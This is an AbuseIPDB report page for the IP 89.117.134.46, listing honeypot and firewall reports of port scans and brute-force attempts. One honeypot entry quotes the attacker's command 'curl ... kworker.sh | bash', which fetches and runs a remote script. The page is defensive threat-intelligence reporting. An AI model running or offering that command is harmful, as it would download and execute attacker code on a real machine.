JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 89.117.134.46

89.117.134.46 was found in our database!

This IP was reported 21 times. Confidence of Abuse is 87%: ?

87%

ISP	Ethernet Servers
Usage Type	Data Center/Web Hosting/Transit
ASN	AS46475
Domain Name	ethernetservers.com
Country	🇺🇸 United States of America
City	Los Angeles, California

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 89.117.134.46

Whois 89.117.134.46

IP Abuse Reports for 89.117.134.46:

This IP address has been reported a total of 21 times from 14 distinct sources. 89.117.134.46 was first reported on July 18th 2026, and the most recent report was 4 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 NxtGenIT	2026-07-21 15:42:28 (4 hours ago)	Cowrie Honeypot hit, Event Type: cowrie.command.input, Command: CMD: curl -s http://89.117.134.46:88 ... show more Cowrie Honeypot hit, Event Type: cowrie.command.input, Command: CMD: curl -s http://89.117.134.46:8888/kworker.sh \| bash show less	Brute-Force
Anonymous	2026-07-21 14:43:09 (5 hours ago)	Jul 21 06:12:55 localhost kernel: [112973994.758255] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:9 ... show more Jul 21 06:12:55 localhost kernel: [112973994.758255] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=89.117.134.46 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=242 ID=58500 PROTO=TCP SPT=43681 DPT=5000 WINDOW=1024 RES=0x00 SYN URGP=0 Jul 21 06:12:55 localhost kernel: [112973994.758274] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=89.117.134.46 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=242 ID=58500 PROTO=TCP SPT=43681 DPT=5000 SEQ=2925631346 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0 Jul 21 10:43:09 localhost kernel: [112990208.236049] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=89.117.134.46 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=242 ID=56271 PROTO=TCP SPT=43681 DPT=3000 WINDOW=1200 RES=0x00 RST URGP=0 Jul 21 10:43:09 localhost kernel: [112990208.236070] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=89.117.134.46 DST=[mungedIP2] LEN=40 TOS=0 show less	Port Scan
🇺🇸 xmission.com	2026-07-21 14:19:20 (5 hours ago)	Blocked by UFW (TCP on 8080) Source port: 43681 TTL: 244 Packet length: 40 TOS: 0x08 This report (f ... show more Blocked by UFW (TCP on 8080) Source port: 43681 TTL: 244 Packet length: 40 TOS: 0x08 This report (for 89.117.134.46) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Web App Attack
🇹🇷 SeczarSecureOps	2026-07-21 14:17:32 (5 hours ago)	Auto-blocked by Seczar SecureOps — Database Service Brute Force (18 events in 5min) at 2026-07-21 14 ... show more Auto-blocked by Seczar SecureOps — Database Service Brute Force (18 events in 5min) at 2026-07-21 14:16 show less	Web App Attack
🇩🇪 Admins@FBN	2026-07-21 13:55:30 (6 hours ago)	FW-PortScan: Traffic Blocked srcport=43681 dstport=5000	Port Scan
🇺🇸 xmission.com	2026-07-21 13:26:19 (6 hours ago)	Blocked by UFW (TCP on 8080) Source port: 43681 TTL: 246 Packet length: 40 TOS: 0x00 This report (f ... show more Blocked by UFW (TCP on 8080) Source port: 43681 TTL: 246 Packet length: 40 TOS: 0x00 This report (for 89.117.134.46) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Web App Attack
🇩🇪 iNetWorker	2026-07-21 13:11:16 (6 hours ago)	firewall-block, port(s): 5000/tcp, 8080/tcp	Port Scan
🇯🇵 jay hung	2026-07-21 12:52:23 (7 hours ago)	2026-07-21T12:52:23.558201+00:00 quarktech kernel: [3283005.460711] [UFW BLOCK] IN=eth0 OUT= MAC=22: ... show more 2026-07-21T12:52:23.558201+00:00 quarktech kernel: [3283005.460711] [UFW BLOCK] IN=eth0 OUT= MAC=22:00:92:2e:84:93:fe:ff:ff:ff:ff:ff:08:00 SRC=89.117.134.46 DST=172.237.20.248 LEN=40 TOS=0x00 PREC=0x00 TTL=235 ID=23720 PROTO=TCP SPT=43681 DPT=3000 WINDOW=1024 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇳🇱 COMPLEX	2026-07-21 12:51:51 (7 hours ago)	Unsolicited TCP traffic \| Action: DROP \| Port 3000	Brute-Force
🇬🇧 OptimusGO	2026-07-21 12:49:45 (7 hours ago)	Malicious activity detected: web_attack Server: commstackbc (185.127.18.66) Attack: web_attack Time ... show more Malicious activity detected: web_attack Server: commstackbc (185.127.18.66) Attack: web_attack Timestamp: 2026-07-21 13:49:45 UTC Log evidence: 07/21/2026-13:49:44.709412 [] [1:1000103:1] SECURITY Management Port Probe - CRITICAL [] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 89.117.134.46:43681 -> 185.127.18.66:8080 show less	Port Scan Brute-Force
🇺🇸 xmission.com	2026-07-21 12:09:17 (7 hours ago)	Blocked by UFW (TCP on 5000) Source port: 43681 TTL: 246 Packet length: 40 TOS: 0x00 This report (f ... show more Blocked by UFW (TCP on 5000) Source port: 43681 TTL: 246 Packet length: 40 TOS: 0x00 This report (for 89.117.134.46) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇫🇷 Duggy_Tuxy🧱	2026-07-21 11:39:06 (8 hours ago)	[DS-BLKS-PROD01] Blocked by SysWarden Firewall (Traffic from Blocked Country (GeoIP))	Port Scan
🇫🇮 6kilowatti	2026-07-21 11:04:45 (8 hours ago)	2026-07-21T14:04:43.569606+03:00 oh6ah kernel: [UFW BLOCK] IN=enp2s0 OUT= MAC=00:26:18:a8:d6:75:2e:2 ... show more 2026-07-21T14:04:43.569606+03:00 oh6ah kernel: [UFW BLOCK] IN=enp2s0 OUT= MAC=00:26:18:a8:d6:75:2e:2d:5e:71:aa:73:08:00 SRC=89.117.134.46 DST=192.168.0.102 LEN=44 TOS=0x18 PREC=0x20 TTL=240 ID=10348 PROTO=TCP SPT=51857 DPT=9200 WINDOW=1024 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇺🇸 xmission.com	2026-07-21 10:41:59 (9 hours ago)	Blocked by UFW (TCP on 3000) Source port: 43681 TTL: 244 Packet length: 40 TOS: 0x08 This report (f ... show more Blocked by UFW (TCP on 3000) Source port: 43681 TTL: 244 Packet length: 40 TOS: 0x08 This report (for 89.117.134.46) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 Admins@FBN	2026-07-21 10:17:33 (9 hours ago)	FW-PortScan: Traffic Blocked srcport=43681 dstport=3000	Port Scan

Showing 1 to 15 of 21 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 173.255.210.89

🇺🇸 170.205.28.149

🇨🇱 138.84.35.127

🇨🇳 106.52.170.149

🇳🇱 91.92.40.45

🇩🇪 82.165.149.155

🇳🇱 45.148.10.151

🇳🇱 45.148.10.141

🇬🇧 185.214.101.139

🇵🇱 176.53.159.198

🇨🇳 111.0.81.84

🇳🇱 91.92.40.44

🇫🇷 85.217.140.49

🇺🇸 34.86.198.234

🇨🇳 27.155.120.135

🇺🇸 205.210.31.91

🇨🇴 204.157.147.17

🇮🇩 202.93.224.90

🇨🇷 190.112.222.22

🇵🇱 176.53.159.197